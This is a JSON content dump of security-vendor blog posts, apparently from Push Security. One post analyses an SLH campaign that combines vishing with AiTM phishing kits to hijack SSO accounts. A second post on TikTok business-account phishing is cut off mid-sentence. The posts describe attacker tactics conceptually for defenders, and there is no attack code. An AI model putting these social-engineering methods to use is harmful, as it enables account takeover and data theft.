Type":866},{},[86626,86630],{"data":86627,"marks":86628,"value":70826,"nodeType":865},{},[86629],{"type":961},{"data":86631,"marks":86632,"value":70830,"nodeType":865},{},[],{"data":86634,"content":86635,"nodeType":866},{},[86636],{"data":86637,"marks":86638,"value":70837,"nodeType":865},{},[],{"data":86640,"content":86641,"nodeType":866},{},[86642],{"data":86643,"marks":86644,"value":70844,"nodeType":865},{},[],{"data":86646,"content":86649,"nodeType":925},{"target":86647},{"sys":86648},{"id":70849,"type":922,"linkType":923},[],{"data":86651,"content":86652,"nodeType":866},{},[86653],{"data":86654,"marks":86655,"value":70857,"nodeType":865},{},[],{"data":86657,"content":86660,"nodeType":925},{"target":86658},{"sys":86659},{"id":70862,"type":922,"linkType":923},[],{"data":86662,"content":86663,"nodeType":1458},{},[86664],{"data":86665,"marks":86666,"value":22744,"nodeType":865},{},[86667],{"type":961},{"data":86669,"content":86670,"nodeType":866},{},[86671,86674,86681],{"data":86672,"marks":86673,"value":25047,"nodeType":865},{},[],{"data":86675,"content":86676,"nodeType":882},{"uri":13757},[86677],{"data":86678,"marks":86679,"value":13762,"nodeType":865},{},[86680],{"type":997},{"data":86682,"marks":86683,"value":70887,"nodeType":865},{},[],{"data":86685,"content":86686,"nodeType":866},{},[86687],{"data":86688,"marks":86689,"value":70894,"nodeType":865},{},[],{"data":86691,"content":86692,"nodeType":1049},{},[86693,86702,86711],{"data":86694,"content":86695,"nodeType":1003},{},[86696],{"data":86697,"content":86698,"nodeType":866},{},[86699],{"data":86700,"marks":86701,"value":70907,"nodeType":865},{},[],{"data":86703,"content":86704,"nodeType":1003},{},[86705],{"data":86706,"content":86707,"nodeType":866},{},[86708],{"data":86709,"marks":86710,"value":70917,"nodeType":865},{},[],{"data":86712,"content":86713,"nodeType":1003},{},[86714],{"data":86715,"content":86716,"nodeType":866},{},[86717],{"data":86718,"marks":86719,"value":70927,"nodeType":865},{},[],{"data":86721,"content":86722,"nodeType":866},{},[86723],{"data":86724,"marks":86725,"value":70934,"nodeType":865},{},[],{"data":86727,"content":86728,"nodeType":1049},{},[86729,86738,86747],{"data":86730,"content":86731,"nodeType":1003},{},[86732],{"data":86733,"content":86734,"nodeType":866},{},[86735],{"data":86736,"marks":86737,"value":70947,"nodeType":865},{},[],{"data":86739,"content":86740,"nodeType":1003},{},[86741],{"data":86742,"content":86743,"nodeType":866},{},[86744],{"data":86745,"marks":86746,"value":70957,"nodeType":865},{},[],{"data":86748,"content":86749,"nodeType":1003},{},[86750],{"data":86751,"content":86752,"nodeType":866},{},[86753],{"data":86754,"marks":86755,"value":70967,"nodeType":865},{},[],{"data":86757,"content":86758,"nodeType":953},{},[],{"data":86760,"content":86761,"nodeType":963},{},[86762],{"data":86763,"marks":86764,"value":70978,"nodeType":865},{},[86765],{"type":961},{"data":86767,"content":86768,"nodeType":866},{},[86769],{"data":86770,"marks":86771,"value":70985,"nodeType":865},{},[],{"data":86773,"content":86776,"nodeType":925},{"target":86774},{"sys":86775},{"id":70990,"type":922,"linkType":923},[],{"data":86778,"content":86779,"nodeType":866},{},[86780,86783,86790],{"data":86781,"marks":86782,"value":70998,"nodeType":865},{},[],{"data":86784,"content":86785,"nodeType":882},{"uri":13634},[86786],{"data":86787,"marks":86788,"value":71006,"nodeType":865},{},[86789],{"type":997},{"data":86791,"marks":86792,"value":71010,"nodeType":865},{},[],{"data":86794,"content":86795,"nodeType":866},{},[86796],{"data":86797,"marks":86798,"value":71017,"nodeType":865},{},[],{"data":86800,"content":86801,"nodeType":866},{},[86802,86805,86812,86815,86822],{"data":86803,"marks":86804,"value":32401,"nodeType":865},{},[],{"data":86806,"content":86807,"nodeType":882},{"uri":22700},[86808],{"data":86809,"marks":86810,"value":22706,"nodeType":865},{},[86811],{"type":997},{"data":86813,"marks":86814,"value":71034,"nodeType":865},{},[],{"data":86816,"content":86817,"nodeType":882},{"uri":1728},[86818],{"data":86819,"marks":86820,"value":22730,"nodeType":865},{},[86821],{"type":997},{"data":86823,"marks":86824,"value":1048,"nodeType":865},{},[],{"data":86826,"content":86829,"nodeType":925},{"target":86827},{"sys":86828},{"id":71049,"type":922,"linkType":923},[],{"data":86831,"content":86832,"nodeType":866},{},[86833],{"data":86834,"marks":86835,"value":21,"nodeType":865},{},[],{"items":86837},[86838,86840],{"sys":86839,"name":11426},{"id":11425},{"sys":86841,"name":342},{"id":8410},{"items":86843},[86844],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":86845},{"url":32449},{"__typename":1788,"sys":86847,"content":86849,"title":87455,"synopsis":87456,"hashTags":59,"publishedDate":87457,"slug":87458,"tagsCollection":87459,"authorsCollection":87465},{"id":86848},"44DXq5ZkL9XQV5Fngto0XZ",{"json":86850},{"data":86851,"content":86852,"nodeType":1739},{},[86853,86870,86877,86884,86887,86895,86915,86934,86968,86974,86977,86985,86993,87000,87018,87025,87030,87036,87043,87050,87058,87065,87072,87078,87085,87105,87113,87120,87127,87147,87153,87172,87178,87185,87191,87194,87201,87208,87226,87233,87260,87267,87275,87278,87286,87293,87300,87306,87313,87358,87364,87371,87403,87409,87449],{"data":86854,"content":86855,"nodeType":866},{},[86856,86859,86866],{"data":86857,"marks":86858,"value":21,"nodeType":865},{},[],{"data":86860,"content":86861,"nodeType":882},{"uri":8759},[86862],{"data":86863,"marks":86864,"value":19437,"nodeType":865},{},[86865],{"type":997},{"data":86867,"marks":86868,"value":86869,"nodeType":865},{},[]," are running a large-scale hybrid vishing plus AiTM phishing campaign across several industry verticals, targeting Okta, Entra, and Google SSO platforms. ",{"data":86871,"content":86872,"nodeType":866},{},[86873],{"data":86874,"marks":86875,"value":86876,"nodeType":865},{},[],"The attacks begin with the attacker calling their victim, impersonating IT staff from their company. They offer to help the employee set up passkeys for logging into the enterprise SSO service, tricking the victim into visiting a specially crafted adversary-in-the-middle phishing site that captures their SSO credentials, MFA codes, and ultimately live session access. ",{"data":86878,"content":86879,"nodeType":866},{},[86880],{"data":86881,"marks":86882,"value":86883,"nodeType":865},{},[],"Once an account is stolen, the attacker logs in to the SSO dashboard to see which platforms they have access to and then proceeds to steal data from them — with the ultimate goal of extorting victims. ",{"data":86885,"content":86886,"nodeType":953},{},[],{"data":86888,"content":86889,"nodeType":963},{},[86890],{"data":86891,"marks":86892,"value":86894,"nodeType":865},{},[86893],{"type":961},"What we know",{"data":86896,"content":86897,"nodeType":866},{},[86898,86902,86911],{"data":86899,"marks":86900,"value":86901,"nodeType":865},{},[],"To date, ",{"data":86903,"content":86905,"nodeType":882},{"uri":86904},"https://www.silentpush.com/blog/slsh-alert/",[86906],{"data":86907,"marks":86908,"value":86910,"nodeType":865},{},[86909],{"type":997},"100+ companies have been targeted",{"data":86912,"marks":86913,"value":86914,"nodeType":865},{},[],", with infrastructure and domains impersonating their brand to be used in legit-looking campaigns against them. The reality is that the list of targets could be more extensive, and will continue to increase over time. ",{"data":86916,"content":86917,"nodeType":866},{},[86918,86922,86930],{"data":86919,"marks":86920,"value":86921,"nodeType":865},{},[],"SLH ",{"data":86923,"content":86924,"nodeType":882},{"uri":74192},[86925],{"data":86926,"marks":86927,"value":86929,"nodeType":865},{},[86928],{"type":997},"claims to be using data stolen in previous breaches",{"data":86931,"marks":86932,"value":86933,"nodeType":865},{},[],", such as the widespread Salesforce data theft attacks reported in 2025, to identify and contact employees. This data includes phone numbers, job titles, names, and other details used to make the social engineering calls more convincing.",{"data":86935,"content":86936,"nodeType":866},{},[86937,86941,86946,86950,86955,86959,86964],{"data":86938,"marks":86939,"value":86940,"nodeType":865},{},[],"The group recently relaunched its Tor data leak site, which currently lists breaches at ",{"data":86942,"marks":86943,"value":86945,"nodeType":865},{},[86944],{"type":961},"Betterment",{"data":86947,"marks":86948,"value":86949,"nodeType":865},{},[]," (20 million records containing PII), ",{"data":86951,"marks":86952,"value":86954,"nodeType":865},{},[86953],{"type":961},"Crunchbase",{"data":86956,"marks":86957,"value":86958,"nodeType":865},{},[]," (2 million records containing PII), and ",{"data":86960,"marks":86961,"value":86963,"nodeType":865},{},[86962],{"type":961},"SoundCloud",{"data":86965,"marks":86966,"value":86967,"nodeType":865},{},[]," (30 million records containing PII). ",{"data":86969,"content":86973,"nodeType":925},{"target":86970},{"sys":86971},{"id":86972,"type":922,"linkType":923},"5scKHYJJleNklGAXNKVc7b",[],{"data":86975,"content":86976,"nodeType":953},{},[],{"data":86978,"content":86979,"nodeType":963},{},[86980],{"data":86981,"marks":86982,"value":86984,"nodeType":865},{},[86983],{"type":961},"What’s new?",{"data":86986,"content":86987,"nodeType":1458},{},[86988],{"data":86989,"marks":86990,"value":86992,"nodeType":865},{},[86991],{"type":961},"The best of both worlds? Vishing + AiTM phishing",{"data":86994,"content":86995,"nodeType":866},{},[86996],{"data":86997,"marks":86998,"value":86999,"nodeType":865},{},[],"SLH and threat actors affiliated with “The Com” are no stranger to voice phishing (vishing) or the use of MFA-bypassing Attacker-in-the-Middle (AitM) phishing kits. ",{"data":87001,"content":87002,"nodeType":866},{},[87003,87006,87014],{"data":87004,"marks":87005,"value":21,"nodeType":865},{},[],{"data":87007,"content":87008,"nodeType":882},{"uri":8759},[87009],{"data":87010,"marks":87011,"value":87013,"nodeType":865},{},[87012],{"type":997},"SLH and it’s precursor groups",{"data":87015,"marks":87016,"value":87017,"nodeType":865},{},[]," leveraged vishing to great success in the form of help desk impersonation and password/MFA reset attacks as seen in the high profile Marks & Spencer, Co-Op, and Jaguar Land Rover attacks in 2025, as well as the Caesars and MGM attacks in 2023. MFA-bypassing phishing techniques have also long been a part of their arsenal, from the 2022 0ktapus phishing campaign to more recent use of modern AiTM phishing kits. ",{"data":87019,"content":87020,"nodeType":866},{},[87021],{"data":87022,"marks":87023,"value":87024,"nodeType":865},{},[],"But until now, we haven’t seen them used together. ",{"data":87026,"content":87029,"nodeType":925},{"target":87027},{"sys":87028},{"id":73953,"type":922,"linkType":923},[],{"data":87031,"content":87035,"nodeType":925},{"target":87032},{"sys":87033},{"id":87034,"type":922,"linkType":923},"1IDsaYD3H5MjvPS4ekcUhU",[],{"data":87037,"content":87038,"nodeType":866},{},[87039],{"data":87040,"marks":87041,"value":87042,"nodeType":865},{},[],"It makes sense to combine these methods. AiTM phishing kits are flexible, highly customizable, and can be used to target a broad range of apps — including all of the major IdP platforms used for SSO. Vishing on the other hand is proven to increase the effectiveness of social engineering attacks when performed by an effective operator — which SLH are proven to be (helped by predominantly native English speakers making up their membership, along with the use of effective voice phishing tools). ",{"data":87044,"content":87045,"nodeType":866},{},[87046],{"data":87047,"marks":87048,"value":87049,"nodeType":865},{},[],"Both vishing and AiTM phishing are identity-first methods that consciously evade traditional security tools and detection controls at the endpoint and network layer. This makes them highly effective in today’s IT environment. ",{"data":87051,"content":87052,"nodeType":1458},{},[87053],{"data":87054,"marks":87055,"value":87057,"nodeType":865},{},[87056],{"type":961},"A new kind of operator-driven AiTM kit",{"data":87059,"content":87060,"nodeType":866},{},[87061],{"data":87062,"marks":87063,"value":87064,"nodeType":865},{},[],"Another unique part about this campaign is that it uses a “live phishing panel” — i.e. a customizable phishing page controlled by the attacker in real time. This enables attackers to dynamically change what a victim sees on a phishing site while speaking to them on the phone. This allows them to guide victims through each step of the login and MFA authentication process.",{"data":87066,"content":87067,"nodeType":866},{},[87068],{"data":87069,"marks":87070,"value":87071,"nodeType":865},{},[],"This is principally to increase the victim’s likelihood of engaging with the phishing page. As you can see in the image below, there are several options that can be presented to the victim — including not just the normal phishing stages of entering credentials and passing MFA checks, but also post-compromise actions (e.g. creating a passkey that would then be controlled by the attacker for persistent access even if an account password is reset). ",{"data":87073,"content":87077,"nodeType":925},{"target":87074},{"sys":87075},{"id":87076,"type":922,"linkType":923},"73Y2n3tRkGFtfhrA2AVJyv",[],{"data":87079,"content":87080,"nodeType":866},{},[87081],{"data":87082,"marks":87083,"value":87084,"nodeType":865},{},[],"At the end of the authentication flow, the threat actor can choose to redirect their target to a “support ticket\" closure screen. This allows the threat actor to manually terminate the session once the compromise is complete while providing the targeted user with context that matches the \"IT support\" ruse. This further reduces the likelihood of post-hoc reporting by a suspicious victim.",{"data":87086,"content":87087,"nodeType":866},{},[87088,87092,87101],{"data":87089,"marks":87090,"value":87091,"nodeType":865},{},[],"Given that this modular, operator-controlled phishing kit is reportedly available “",{"data":87093,"content":87095,"nodeType":882},{"uri":87094},"https://www.okta.com/blog/threat-intelligence/phishing-kits-adapt-to-the-script-of-callers/",[87096],{"data":87097,"marks":87098,"value":87100,"nodeType":865},{},[87099],{"type":997},"as a service",{"data":87102,"marks":87103,"value":87104,"nodeType":865},{},[],"” for criminals, we should expect to see much more of this in future. ",{"data":87106,"content":87107,"nodeType":1458},{},[87108],{"data":87109,"marks":87110,"value":87112,"nodeType":865},{},[87111],{"type":961},"0ktapus 2.0?",{"data":87114,"content":87115,"nodeType":866},{},[87116],{"data":87117,"marks":87118,"value":87119,"nodeType":865},{},[],"As we mentioned earlier, Scattered Spider made their reputation launching phishing attacks against Okta accounts in the 2022 0ktapus campaign. ",{"data":87121,"content":87122,"nodeType":866},{},[87123],{"data":87124,"marks":87125,"value":87126,"nodeType":865},{},[],"The vast majority of phishing attacks target IdP accounts because of the widespread access to downstream apps they grant via SSO. ",{"data":87128,"content":87129,"nodeType":866},{},[87130,87134,87143],{"data":87131,"marks":87132,"value":87133,"nodeType":865},{},[],"This comes at the same time as ",{"data":87135,"content":87137,"nodeType":882},{"uri":87136},"https://www.bleepingcomputer.com/news/security/fake-lastpass-emails-pose-as-password-vault-backup-alerts/",[87138],{"data":87139,"marks":87140,"value":87142,"nodeType":865},{},[87141],{"type":997},"attackers running campaigns to target LastPass master passwords",{"data":87144,"marks":87145,"value":87146,"nodeType":865},{},[],". This provides a similar level of access to apps in the form of credentials (and sometimes saved passkeys). ",{"data":87148,"content":87152,"nodeType":925},{"target":87149},{"sys":87150},{"id":87151,"type":922,"linkType":923},"1vyu5WvdktTnC24TkVFqfs",[],{"data":87154,"content":87155,"nodeType":866},{},[87156,87160,87168],{"data":87157,"marks":87158,"value":87159,"nodeType":865},{},[],"Not only is this a goldmine for attackers looking to steal data or pivot to other systems to be able to launch further attacks (e.g. pivoting to cloud and on-prem services for ransomware deployment) but it’s a nightmare for incident responders. If an attacker can access an app and create a backdoor login method (AKA. a ",{"data":87161,"content":87162,"nodeType":882},{"uri":10340},[87163],{"data":87164,"marks":87165,"value":87167,"nodeType":865},{},[87166],{"type":997},"ghost login",{"data":87169,"marks":87170,"value":87171,"nodeType":865},{},[],") it can be very difficult for a security team to identify and clean them up. ",{"data":87173,"content":87177,"nodeType":925},{"target":87174},{"sys":87175},{"id":87176,"type":922,"linkType":923},"7tILkroPw9w0WLIo1bVV24",[],{"data":87179,"content":87180,"nodeType":866},{},[87181],{"data":87182,"marks":87183,"value":87184,"nodeType":865},{},[],"Check out the excerpt from one of our recent webinars below for more information. ",{"data":87186,"content":87190,"nodeType":925},{"target":87187},{"sys":87188},{"id":87189,"type":922,"linkType":923},"5IVkapjwLp1Ys14vXagQRD",[],{"data":87192,"content":87193,"nodeType":953},{},[],{"data":87195,"content":87196,"nodeType":963},{},[87197],{"data":87198,"marks":87199,"value":13624,"nodeType":865},{},[87200],{"type":961},{"data":87202,"content":87203,"nodeType":866},{},[87204],{"data":87205,"marks":87206,"value":87207,"nodeType":865},{},[],"This combination of methods is likely to increase the success of these malicious campaigns as well as reducing the likelihood of detection. ",{"data":87209,"content":87210,"nodeType":866},{},[87211,87215,87222],{"data":87212,"marks":87213,"value":87214,"nodeType":865},{},[],"It’s well documented that modern phishing attacks use a wide and ever-expanding range of ",{"data":87216,"content":87217,"nodeType":882},{"uri":8821},[87218],{"data":87219,"marks":87220,"value":29898,"nodeType":865},{},[87221],{"type":997},{"data":87223,"marks":87224,"value":87225,"nodeType":865},{},[]," — from implementing legitimate bot protection technologies to prevent analysis, to only loading pages if the correct parameters are met — such as coming through a specific URL redirect path, and adhering to “normal” browser configs (excluding unusual browser window sizes and the presence of security analysis tools).",{"data":87227,"content":87228,"nodeType":866},{},[87229],{"data":87230,"marks":87231,"value":87232,"nodeType":865},{},[],"In this case, the malicious payload will only trigger in the event that the delivery is approved by an operator in real time. This means that anyone attempting to find and proactively block a phishing page based on indicators of known-bad is going to have a tough time finding and flagging them. If you haven’t got a community of security analysts sharing and tagging samples of malicious pages, it makes it really hard to find and block them at scale before they hit a victim. And if these convincing attacks aren’t being reported, they’re even less likely to be investigated. This is what we mean when we say that most phishing attacks today are effectively zero-day. ",{"data":87234,"content":87235,"nodeType":866},{},[87236,87240,87245,87248,87256],{"data":87237,"marks":87238,"value":87239,"nodeType":865},{},[],"In this case, it’s worth pointing out that the phone call is essentially the delivery vector for the phishing page. This means there’s no email to intercept and analyse. This isn’t new — ",{"data":87241,"marks":87242,"value":87244,"nodeType":865},{},[87243],{"type":961},"non-email vectors now account for more than 1 in 3 phishing attacks intercepted by Push",{"data":87246,"marks":87247,"value":2186,"nodeType":865},{},[],{"data":87249,"content":87250,"nodeType":882},{"uri":8581},[87251],{"data":87252,"marks":87253,"value":87255,"nodeType":865},{},[87254],{"type":997},"LinkedIn and Google Search being the top culprits",{"data":87257,"marks":87258,"value":87259,"nodeType":865},{},[],". This effectively cuts out the primary phishing detection surface for most organizations.",{"data":87261,"content":87262,"nodeType":866},{},[87263],{"data":87264,"marks":87265,"value":87266,"nodeType":865},{},[],"All this means that unless you’re able to detect and block these attacks in real time, organizations will find themselves unable to counter this evolving threat. ",{"data":87268,"content":87269,"nodeType":866},{},[87270],{"data":87271,"marks":87272,"value":87274,"nodeType":865},{},[87273],{"type":961},"The best/only way to do that is to be in the browser. ",{"data":87276,"content":87277,"nodeType":953},{},[],{"data":87279,"content":87280,"nodeType":963},{},[87281],{"data":87282,"marks":87283,"value":87285,"nodeType":865},{},[87284],{"type":961},"How Push stops the attack",{"data":87287,"content":87288,"nodeType":866},{},[87289],{"data":87290,"marks":87291,"value":87292,"nodeType":865},{},[],"As a browser-based detection and response tool, Push is perfectly positioned to detect and block attacks like this in real-time. ",{"data":87294,"content":87295,"nodeType":866},{},[87296],{"data":87297,"marks":87298,"value":87299,"nodeType":865},{},[],"Push harnesses deep browser telemetry to detect and block phishing based on behaviors, not static indicators. By analyzing how phishing pages behave and how users interact with them, Push uncovers fake pages, attempted credential theft, and phishing kits the moment they load in the browser — regardless of the delivery mechanism, and even when the attack has never been seen before. ",{"data":87301,"content":87305,"nodeType":925},{"target":87302},{"sys":87303},{"id":87304,"type":922,"linkType":923},"2TAKFM1rpETq4KtTY3FPIs",[],{"data":87307,"content":87308,"nodeType":866},{},[87309],{"data":87310,"marks":87311,"value":87312,"nodeType":865},{},[],"Push's browser-based controls include:",{"data":87314,"content":87315,"nodeType":1049},{},[87316,87337],{"data":87317,"content":87318,"nodeType":1003},{},[87319],{"data":87320,"content":87321,"nodeType":866},{},[87322,87325,87333],{"data":87323,"marks":87324,"value":21,"nodeType":865},{},[],{"data":87326,"content":87328,"nodeType":882},{"uri":87327},"https://pushsecurity.com/blog/introducing-sso-password-protection/",[87329],{"data":87330,"marks":87331,"value":87332,"nodeType":865},{},[],"Fingerprinting high-risk app passwords",{"data":87334,"marks":87335,"value":87336,"nodeType":865},{},[]," so they can only be used on a specific domain. Any attempt to reuse this password elsewhere (such as on a phishing site) results in the attempt being blocked. ",{"data":87338,"content":87339,"nodeType":1003},{},[87340],{"data":87341,"content":87342,"nodeType":866},{},[87343,87346,87354],{"data":87344,"marks":87345,"value":21,"nodeType":865},{},[],{"data":87347,"content":87349,"nodeType":882},{"uri":87348},"https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/",[87350],{"data":87351,"marks":87352,"value":87353,"nodeType":865},{},[],"Multiple browser-based checks",{"data":87355,"marks":87356,"value":87357,"nodeType":865},{},[]," looking for indicators of bad, such as cloned elements from legitimate websites, and an ever-growing number of detections relating to phishing kit behaviors and attributes as they are rendered on a page. ",{"data":87359,"content":87363,"nodeType":925},{"target":87360},{"sys":87361},{"id":87362,"type":922,"linkType":923},"4ESxxjTjNwNXGEW4DBcMVV",[],{"data":87365,"content":87366,"nodeType":866},{},[87367],{"data":87368,"marks":87369,"value":87370,"nodeType":865},{},[],"Because Push observes every login made in the browser, you can also use Push to find identities susceptible to phishing attacks, such as those not using phishing-resistant authentication methods (e.g. passkeys), to proactively improve your account hygiene and reduce your attack surface. ",{"data":87372,"content":87373,"nodeType":866},{},[87374,87378,87387,87391,87399],{"data":87375,"marks":87376,"value":87377,"nodeType":865},{},[],"Finally, you can also use our ",{"data":87379,"content":87381,"nodeType":882},{"uri":87380},"https://pushsecurity.com/blog/employee-identity-verification-codes-release/",[87382],{"data":87383,"marks":87384,"value":87386,"nodeType":865},{},[87385],{"type":997},"employee verification codes",{"data":87388,"marks":87389,"value":87390,"nodeType":865},{},[]," feature as part of a layered defense — a simple, browser-based identity check that gives your employees a reliable way to confirm they’re talking to another employee from your organization. It enables employees to quickly verify that a caller is who they say they are by relaying a rotating 6-digit verification code displayed in every employee's browser via the Push extension. This is an effective way of combating ",{"data":87392,"content":87393,"nodeType":882},{"uri":74298},[87394],{"data":87395,"marks":87396,"value":87398,"nodeType":865},{},[87397],{"type":997},"help desk scams",{"data":87400,"marks":87401,"value":87402,"nodeType":865},{},[]," too — another favorite of SLH. ",{"data":87404,"content":87408,"nodeType":925},{"target":87405},{"sys":87406},{"id":87407,"type":922,"linkType":923},"1TEpCjh8UGwmejgYSGC1by",[],{"data":87410,"content":87411,"nodeType":11214},{},[87412],{"data":87413,"content":87414,"nodeType":866},{},[87415,87419,87427,87430,87436,87439,87446],{"data":87416,"marks":87417,"value":87418,"nodeType":865},{},[],"Want to learn more about Push? ",{"data":87420,"content":87421,"nodeType":882},{"uri":22700},[87422],{"data":87423,"marks":87424,"value":87426,"nodeType":865},{},[87425],{"type":997},"Check out our latest product overview",{"data":87428,"marks":87429,"value":2186,"nodeType":865},{},[],{"data":87431,"content":87432,"nodeType":882},{"uri":22712},[87433],{"data":87434,"marks":87435,"value":22718,"nodeType":865},{},[],{"data":87437,"marks":87438,"value":22722,"nodeType":865},{},[],{"data":87440,"content":87441,"nodeType":882},{"uri":1728},[87442],{"data":87443,"marks":87444,"value":22730,"nodeType":865},{},[87445],{"type":997},{"data":87447,"marks":87448,"value":1048,"nodeType":865},{},[],{"data":87450,"content":87451,"nodeType":866},{},[87452],{"data":87453,"marks":87454,"value":21,"nodeType":865},{},[],"Unpacking the latest SLH campaign — combining vishing with AiTM phishing to hijack SSO accounts","Analyzing the latest Scattered Lapsus$ Hunters (SLH) phishing campaign targeting hundreds of organizations.\n","2026-01-28T00:00:00.000Z","unpacking-the-latest-slh-campaign",{"items":87460},[87461,87463],{"sys":87462,"name":11426},{"id":11425},{"sys":87464,"name":342},{"id":8410},{"items":87466},[87467],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":87468},{"url":11434},"blog/device-code-phishing",{"json":87471},{"data":87472,"content":87473,"nodeType":1739},{},[87474],{"data":87475,"content":87476,"nodeType":866},{},[87477],{"data":87478,"marks":87479,"value":87480,"nodeType":865},{},[],"Device code phishing is an account takeover technique that abuses the OAuth 2.0 Device Authorization Grant to steal access tokens while bypassing standard access controls (like passwords, MFA, and even passkeys).",{"id":15486,"publishedAt":87482},"2026-08-12T11:53:02.556Z",{"items":87484},[87485,87487],{"sys":87486,"name":11426},{"id":11425},{"sys":87488,"name":342},{"id":8410},{"items":87490},[87491,87493,87495,87497,87499,87501,87503,87505,87507,87509,87511,87513,87515,87517,87519,87521,87523],{"sys":87492,"name":279,"slug":280,"tier":31},{"id":276},{"sys":87494,"name":519,"slug":520,"tier":31},{"id":516},{"sys":87496,"name":413,"slug":414,"tier":31},{"id":410},{"sys":87498,"name":642,"slug":643,"tier":31},{"id":639},{"sys":87500,"name":342,"slug":343,"tier":31},{"id":339},{"sys":87502,"name":360,"slug":361,"tier":45},{"id":357},{"sys":87504,"name":466,"slug":467,"tier":45},{"id":463},{"sys":87506,"name":484,"slug":485,"tier":45},{"id":481},{"sys":87508,"name":571,"slug":572,"tier":45},{"id":568},{"sys":87510,"name":511,"slug":512,"tier":45},{"id":508},{"sys":87512,"name":607,"slug":608,"tier":45},{"id":604},{"sys":87514,"name":650,"slug":651,"tier":45},{"id":647},{"sys":87516,"name":261,"slug":262,"tier":45},{"id":258},{"sys":87518,"name":493,"slug":494,"tier":45},{"id":490},{"sys":87520,"name":475,"slug":476,"tier":45},{"id":472},{"sys":87522,"name":404,"slug":405,"tier":45},{"id":401},{"sys":87524,"name":315,"slug":316,"tier":45},{"id":312},"8tjCe4rlgxCHc3XVdlvd0ZnFwPabXi2E9C7FD0L6OHs",{"id":87527,"title":87528,"authorsCollection":87529,"content":87534,"extension":228,"faqItemsCollection":88204,"faqTitle":59,"featured":6,"hashTags":59,"meta":88206,"metaTitle":88207,"ogImage":59,"postType":21460,"publishedDate":88208,"relatedBlogPostsCollection":88209,"slug":90549,"stem":90550,"subtitle":59,"summary":90551,"synopsis":90562,"sys":90563,"tagsCollection":90566,"topicsCollection":90572,"__hash__":90600},"blog/blog/tiktok-phishing.json","Attackers are now targeting business TikTok accounts using session-stealing phishing kits",{"items":87530},[87531],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":87532,"profilePicture":87533},[17536],{"url":11434},{"json":87535,"links":88108},{"data":87536,"content":87537,"nodeType":1739},{},[87538,87545,87565,87571,87574,87582,87589,87596,87603,87626,87633,87652,87659,87665,87673,87680,87686,87692,87698,87704,87710,87716,87722,87725,87733,87740,87747,87767,87812,87819,87861,87866,87869,87876,87892,87899,88011,88018,88031,88038,88041,88048,88054,88060,88096,88102],{"data":87539,"content":87540,"nodeType":866},{},[87541],{"data":87542,"marks":87543,"value":87544,"nodeType":865},{},[],"We recently detected and blocked a new style of phishing page targeting TikTok for Business accounts — used by company marketing teams to manage ad campaigns. ",{"data":87546,"content":87547,"nodeType":866},{},[87548,87552,87561],{"data":87549,"marks":87550,"value":87551,"nodeType":865},{},[],"On closer analysis, we identified a cluster of linked pages featuring both TikTok themes, and Google themed “Schedule a Call” imitation pages, ",{"data":87553,"content":87555,"nodeType":882},{"uri":87554},"https://sublime.security/blog/google-careers-impersonation-credential-phishing-scam-with-endless-variation/",[87556],{"data":87557,"marks":87558,"value":87560,"nodeType":865},{},[87559],{"type":997},"similar to a campaign reported late last year",{"data":87562,"marks":87563,"value":87564,"nodeType":865},{},[],", suggesting a continuity of this previous campaign.",{"data":87566,"content":87570,"nodeType":925},{"target":87567},{"sys":87568},{"id":87569,"type":922,"linkType":923},"6mR622LOKuhGRfBXkIsUrx",[],{"data":87572,"content":87573,"nodeType":953},{},[],{"data":87575,"content":87576,"nodeType":963},{},[87577],{"data":87578,"marks":87579,"value":87581,"nodeType":865},{},[87580],{"type":961},"Campaign breakdown",{"data":87583,"content":87584,"nodeType":866},{},[87585],{"data":87586,"marks":87587,"value":87588,"nodeType":865},{},[],"Push researchers have identified a cluster of newly registered phishing pages all registered on the 24th March within a 9-second window. All of the pages are hosted behind Cloudflare with the same registrar (Nicenic International Group, commonly abused for bulk phishing domain registration). ",{"data":87590,"content":87591,"nodeType":866},{},[87592],{"data":87593,"marks":87594,"value":87595,"nodeType":865},{},[],"The pages feature a common naming convention, being various derivations of welcome.careers*[.]com. A full list of identified domains is provided later, but we expect this to grow significantly as the campaign ramps up. ",{"data":87597,"content":87598,"nodeType":866},{},[87599],{"data":87600,"marks":87601,"value":87602,"nodeType":865},{},[],"Victims are tricked into clicking a malicious link that takes them to one of two page styles. ",{"data":87604,"content":87605,"nodeType":1049},{},[87606,87616],{"data":87607,"content":87608,"nodeType":1003},{},[87609],{"data":87610,"content":87611,"nodeType":866},{},[87612],{"data":87613,"marks":87614,"value":87615,"nodeType":865},{},[],"A TikTok for Business cloned page ",{"data":87617,"content":87618,"nodeType":1003},{},[87619],{"data":87620,"content":87621,"nodeType":866},{},[87622],{"data":87623,"marks":87624,"value":87625,"nodeType":865},{},[],"A Google careers “Schedule a call” cloned page",{"data":87627,"content":87628,"nodeType":866},{},[87629],{"data":87630,"marks":87631,"value":87632,"nodeType":865},{},[],"In both cases, the victim is required to complete a basic information form before being served with a malicious login page that is in fact fronting a reverse proxy AITM phishing kit. ",{"data":87634,"content":87635,"nodeType":866},{},[87636,87640,87648],{"data":87637,"marks":87638,"value":87639,"nodeType":865},{},[],"While Push has limited visibility of the initial delivery mechanism in this case, we can assume that a similar method of dynamically generated email is being used to the ",{"data":87641,"content":87642,"nodeType":882},{"uri":87554},[87643],{"data":87644,"marks":87645,"value":87647,"nodeType":865},{},[87646],{"type":997},"previously identified campaign",{"data":87649,"marks":87650,"value":87651,"nodeType":865},{},[]," reported by Sublime in October, featuring a similar Google Careers cloned page. ",{"data":87653,"content":87654,"nodeType":866},{},[87655],{"data":87656,"marks":87657,"value":87658,"nodeType":865},{},[],"You can see an example of the page load below. ",{"data":87660,"content":87664,"nodeType":925},{"target":87661},{"sys":87662},{"id":87663,"type":922,"linkType":923},"3wjGpMs3qJsZaar2LIlQbE",[],{"data":87666,"content":87667,"nodeType":1458},{},[87668],{"data":87669,"marks":87670,"value":87672,"nodeType":865},{},[87671],{"type":961},"Attack flow",{"data":87674,"content":87675,"nodeType":866},{},[87676],{"data":87677,"marks":87678,"value":87679,"nodeType":865},{},[],"When the link is first clicked, the page is silently redirected from a legitimate Google Storage site before loading the page. A Cloudflare Turnstile check is used to prevent security bots from analyzing the page, before loading either a TikTok or Google themed page. Progressing through the forms ultimately serves up an AITM phishing 